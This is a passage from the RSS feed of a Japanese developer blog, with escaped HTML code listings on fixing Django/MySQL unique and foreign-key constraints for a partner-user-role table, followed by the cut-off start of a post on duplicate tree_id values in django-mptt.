&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;uniq_partneruserrole&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;AddConstraint(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;partneruserrole&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; constraint&lt;span style="color:#f92672"&gt;=&lt;/span&gt;models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;UniqueConstraint(fields&lt;span style="color:#f92672"&gt;=&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;partner&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;partneruser&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;permission&amp;#39;&lt;/span&gt;), name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;uniq_partneruserrole&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="制約-検索"&gt;制約 検索&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DISTINCT&lt;/span&gt; A.&lt;span style="color:#66d9ef"&gt;CONSTRAINT_NAME&lt;/span&gt;, A.&lt;span style="color:#66d9ef"&gt;TABLE_NAME&lt;/span&gt;, A.&lt;span style="color:#66d9ef"&gt;COLUMN_NAME&lt;/span&gt;, B.&lt;span style="color:#66d9ef"&gt;CONSTRAINT_NAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; INFORMATION_SCHEMA.KEY_COLUMN_USAGE &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;JOIN&lt;/span&gt; INFORMATION_SCHEMA.KEY_COLUMN_USAGE &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; B
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; A.&lt;span style="color:#66d9ef"&gt;TABLE_NAME&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; B.&lt;span style="color:#66d9ef"&gt;TABLE_NAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; A.&lt;span style="color:#66d9ef"&gt;TABLE_NAME&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;partners_partneruserrole&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;AND&lt;/span&gt; B.&lt;span style="color:#66d9ef"&gt;CONSTRAINT_NAME&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;like&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;uniq_%&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;AND&lt;/span&gt; A.&lt;span style="color:#66d9ef"&gt;CONSTRAINT_NAME&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;not&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;like&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;uniq_%&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;AND&lt;/span&gt; A.&lt;span style="color:#66d9ef"&gt;CONSTRAINT_NAME&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;PRIMARY&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;+-----------------------------------------------------------+--------------------------+----------------+----------------------+
| CONSTRAINT_NAME | TABLE_NAME | COLUMN_NAME | CONSTRAINT_NAME |
+-----------------------------------------------------------+--------------------------+----------------+----------------------+
| partners_partneruser_partneruser_id_d59f67cc_fk_partners_ | partners_partneruserrole | partneruser_id | uniq_partneruserrole |
| partners_partneruser_partner_id_852ab185_fk_partners_ | partners_partneruserrole | partner_id | uniq_partneruserrole |
| partners_partneruser_permission_id_031e3996_fk_auth_perm | partners_partneruserrole | permission_id | uniq_partneruserrole |
+-----------------------------------------------------------+--------------------------+----------------+----------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="再設定"&gt;再設定&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partneruser_id_d59f67cc_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partner_id_852ab185_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partner_id_852ab185_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INDEX&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;uniq_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ADD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partneruser_id_d59f67cc_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partneruser_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ADD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partner_id_852ab185_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partner_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partner&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ADD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_permission_id_031e3996_fk_auth_perm&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;permission_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;auth_permission&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;user_ptr_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="最終スキーマ"&gt;最終スキーマ&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IF&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;EXISTS&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; bigint &lt;span style="color:#66d9ef"&gt;NOT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;NULL&lt;/span&gt; AUTO_INCREMENT,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ....
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;PRIMARY&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;UNIQUE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;uniq_partneruserrole&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partner_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;,&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partneruser_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;,&lt;span style="color:#f92672"&gt;`&lt;/span&gt;permission_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partneruser_id_d59f67cc_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partneruser_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_permission_id_031e3996_fk_auth_perm&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;permission_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partner_id_852ab185_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partner_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partner&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_partneruser_id_d59f67cc_fk_partners_&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;partneruser_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;user_ptr_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;partners_partneruser_permission_id_031e3996_fk_auth_perm&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;permission_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;auth_permission&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) ENGINE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;InnoDB &lt;span style="color:#66d9ef"&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style="color:#f92672"&gt;=&lt;/span&gt;utf8mb4 &lt;span style="color:#66d9ef"&gt;COLLATE&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;utf8mb4_0900_ai_ci;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>django-mptt: tree_idの重複問題</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-tree_id%E3%81%AE%E9%87%8D%E8%A4%87%E5%95%8F%E9%A1%8C/</link><pubDate>Tue, 25 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-tree_id%E3%81%AE%E9%87%8D%E8%A4%87%E5%95%8F%E9%A1%8C/</guid><description>&lt;h2 id="tree_id-が重複して登録されていまう問題"&gt;&lt;code&gt;tree_id&lt;/code&gt; が重複して登録されていまう問題&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;多重処理を行っている時に発生することがある模様&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
